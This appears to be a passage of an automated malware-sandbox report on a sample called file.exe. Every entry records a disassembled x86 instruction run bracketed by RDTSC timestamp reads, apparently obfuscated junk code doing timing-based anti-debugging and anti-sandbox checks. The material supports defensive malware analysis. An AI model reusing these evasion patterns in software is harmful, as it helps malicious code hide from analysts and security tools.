Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE6304 second address: AE6343 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F651112DA05h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jnp 00007F651112D9F6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE6343 second address: AE6347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE6347 second address: AE634D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE54C4 second address: AE54CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE54CA second address: AE54DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jbe 00007F651112DA00h 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5A4B second address: AE5A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5A4F second address: AE5A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5CFC second address: AE5D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5D00 second address: AE5D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5D04 second address: AE5D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5D0C second address: AE5D11 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5FE5 second address: AE5FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5FEF second address: AE5FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F651112D9F6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5FFA second address: AE6013 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6511772C8Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE6013 second address: AE601E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE8FC0 second address: AE8FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6511772C86h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE8FD1 second address: AE8FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 nop 0x00000007 pushad 0x00000008 mov dword ptr [ebp+122D1EFDh], ecx 0x0000000e mov cx, 3C8Ah 0x00000012 popad 0x00000013 push 00000004h 0x00000015 mov dh, C7h 0x00000017 call 00007F651112D9F9h 0x0000001c pushad 0x0000001d push ebx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jng 00007F651112D9F6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE8FFE second address: AE903D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F6511772C95h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 jg 00007F6511772C86h 0x00000019 jmp 00007F6511772C8Dh 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jnl 00007F6511772C86h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEA475 second address: AEA47A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEBBD0 second address: AEBBD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEBBD6 second address: AEBBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538024C second address: 5380267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380267 second address: 538029F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F651112DA03h 0x00000012 movzx ecx, bx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538029F second address: 53802C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6511772C8Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53802C7 second address: 53802CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53802CD second address: 5380316 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6511772C8Ah 0x00000009 add si, 9318h 0x0000000e jmp 00007F6511772C8Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F6511772C95h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F6511772C8Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538035D second address: 5380363 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B042D second address: 53B0476 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pushfd 0x0000000d jmp 00007F6511772C8Ah 0x00000012 or al, 00000068h 0x00000015 jmp 00007F6511772C8Bh 0x0000001a popfd 0x0000001b pop eax 0x0000001c mov di, 20ACh 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F6511772C8Eh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0476 second address: 53B048D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B048D second address: 53B04A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04A8 second address: 53B04AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04AD second address: 53B04D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, A0h 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F6511772C8Ch 0x0000000f push eax 0x00000010 jmp 00007F6511772C8Bh 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 mov bx, si 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04D6 second address: 53B04EE instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 457F98D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F651112D9FBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B04EE second address: 53B0554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6511772C8Fh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F6511772C99h 0x0000000f jmp 00007F6511772C8Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esp], esi 0x0000001b jmp 00007F6511772C96h 0x00000020 lea eax, dword ptr [ebp-04h] 0x00000023 pushad 0x00000024 mov ah, 35h 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov al, bl 0x0000002d mov bx, si 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0554 second address: 53B055C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B055C second address: 53B057C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6511772C92h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B057C second address: 53B0580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0580 second address: 53B0586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0586 second address: 53B058C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B058C second address: 53B0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0669 second address: 53B0697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F651112D9FDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0697 second address: 53B069D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B069D second address: 53B06A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B06A1 second address: 53A0029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d call 00007F6511772C94h 0x00000012 pushfd 0x00000013 jmp 00007F6511772C92h 0x00000018 jmp 00007F6511772C95h 0x0000001d popfd 0x0000001e pop eax 0x0000001f mov ax, di 0x00000022 popad 0x00000023 leave 0x00000024 jmp 00007F6511772C93h 0x00000029 retn 0004h 0x0000002c nop 0x0000002d cmp eax, 00000000h 0x00000030 setne al 0x00000033 xor ebx, ebx 0x00000035 test al, 01h 0x00000037 jne 00007F6511772C87h 0x00000039 xor eax, eax 0x0000003b sub esp, 08h 0x0000003e mov dword ptr [esp], 00000000h 0x00000045 mov dword ptr [esp+04h], 00000000h 0x0000004d call 00007F65162FC0C3h 0x00000052 mov edi, edi 0x00000054 jmp 00007F6511772C90h 0x00000059 xchg eax, ebp 0x0000005a jmp 00007F6511772C90h 0x0000005f push eax 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 mov ecx, edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0029 second address: 53A0087 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F651112DA03h 0x00000008 add eax, 45AD898Eh 0x0000000e jmp 00007F651112DA09h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 call 00007F651112DA00h 0x0000001b pop esi 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F651112D9FFh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0087 second address: 53A008B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A008B second address: 53A0091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0091 second address: 53A0130 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6511772C92h 0x00000009 add cl, FFFFFF98h 0x0000000c jmp 00007F6511772C8Bh 0x00000011 popfd 0x00000012 mov ax, 5B4Fh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F6511772C90h 0x00000022 xor si, BBF8h 0x00000027 jmp 00007F6511772C8Bh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F6511772C98h 0x00000033 adc ah, 00000058h 0x00000036 jmp 00007F6511772C8Bh 0x0000003b popfd 0x0000003c popad 0x0000003d push FFFFFFFEh 0x0000003f pushad 0x00000040 push esi 0x00000041 pushad 0x00000042 popad 0x00000043 pop ebx 0x00000044 mov edx, eax 0x00000046 popad 0x00000047 push 0ADDC7A5h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F6511772C94h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0252 second address: 53A027B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F651112D9FDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A027B second address: 53A02DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c jmp 00007F6511772C8Eh 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007F6511772C8Dh 0x0000001a pop eax 0x0000001b pushfd 0x0000001c jmp 00007F6511772C91h 0x00000021 add esi, 490E2116h 0x00000027 jmp 00007F6511772C91h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A02DE second address: 53A02E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A02E4 second address: 53A02E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A02E8 second address: 53A0311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, 32D3E276h 0x00000011 jmp 00007F651112DA07h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0311 second address: 53A0319 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0319 second address: 53A03E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F651112D9FDh 0x0000000f xor ecx, 28E8DE86h 0x00000015 jmp 00007F651112DA01h 0x0000001a popfd 0x0000001b mov ecx, 71F20C37h 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 pushad 0x00000023 call 00007F651112DA08h 0x00000028 jmp 00007F651112DA02h 0x0000002d pop ecx 0x0000002e pushfd 0x0000002f jmp 00007F651112D9FBh 0x00000034 jmp 00007F651112DA03h 0x00000039 popfd 0x0000003a popad 0x0000003b push eax 0x0000003c jmp 00007F651112DA09h 0x00000041 xchg eax, esi 0x00000042 jmp 00007F651112D9FEh 0x00000047 xchg eax, edi 0x00000048 pushad 0x00000049 jmp 00007F651112D9FEh 0x0000004e mov dx, si 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 push esi 0x00000057 pop edi 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A03E0 second address: 53A0452 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 call 00007F6511772C93h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, edi 0x0000000f jmp 00007F6511772C8Fh 0x00000014 mov eax, dword ptr [75AB4538h] 0x00000019 jmp 00007F6511772C96h 0x0000001e xor dword ptr [ebp-08h], eax 0x00000021 pushad 0x00000022 mov esi, 399B0ABDh 0x00000027 mov cx, 95B9h 0x0000002b popad 0x0000002c xor eax, ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F6511772C97h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0452 second address: 53A046F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A046F second address: 53A048F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, 3D6Eh 0x00000011 push ebx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A048F second address: 53A04C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, BD5Dh 0x00000007 pushfd 0x00000008 jmp 00007F651112D9FAh 0x0000000d or si, 59B8h 0x00000012 jmp 00007F651112D9FBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F651112D9FBh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A04C5 second address: 53A04C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A04C9 second address: 53A04CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A04CF second address: 53A04DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6511772C8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A04DE second address: 53A0554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F651112DA05h 0x0000000e lea eax, dword ptr [ebp-10h] 0x00000011 pushad 0x00000012 jmp 00007F651112D9FCh 0x00000017 mov bh, al 0x00000019 popad 0x0000001a mov dword ptr fs:[00000000h], eax 0x00000020 pushad 0x00000021 movsx ebx, cx 0x00000024 mov edi, ecx 0x00000026 popad 0x00000027 mov dword ptr [ebp-18h], esp 0x0000002a pushad 0x0000002b mov cx, 6733h 0x0000002f mov dx, cx 0x00000032 popad 0x00000033 mov eax, dword ptr fs:[00000018h] 0x00000039 jmp 00007F651112DA02h 0x0000003e mov ecx, dword ptr [eax+00000FDCh] 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F651112D9FAh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0554 second address: 53A055A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A055A second address: 53A056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F651112D9FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390180 second address: 5390186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390186 second address: 539018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 539018A second address: 53901EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F6511772C8Ch 0x0000000f pop edx 0x00000010 mov al, D5h 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F6511772C99h 0x00000019 mov ebp, esp 0x0000001b jmp 00007F6511772C8Eh 0x00000020 sub esp, 2Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6511772C97h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53901EA second address: 5390227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F651112D9FEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F651112D9FEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390227 second address: 5390272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6511772C91h 0x00000009 add ch, FFFFFFC6h 0x0000000c jmp 00007F6511772C91h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop esi 0x0000001d jmp 00007F6511772C95h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390396 second address: 53903A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F651112D9FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53903A8 second address: 53903AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53903AC second address: 53903EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F651112DC3Dh 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F651112D9FDh 0x00000015 xor si, 93E6h 0x0000001a jmp 00007F651112DA01h 0x0000001f popfd 0x00000020 mov ax, BE17h 0x00000024 popad 0x00000025 lea ecx, dword ptr [ebp-14h] 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53903EE second address: 53903F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53903F2 second address: 5390401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390471 second address: 539048C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53904CA second address: 53904D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
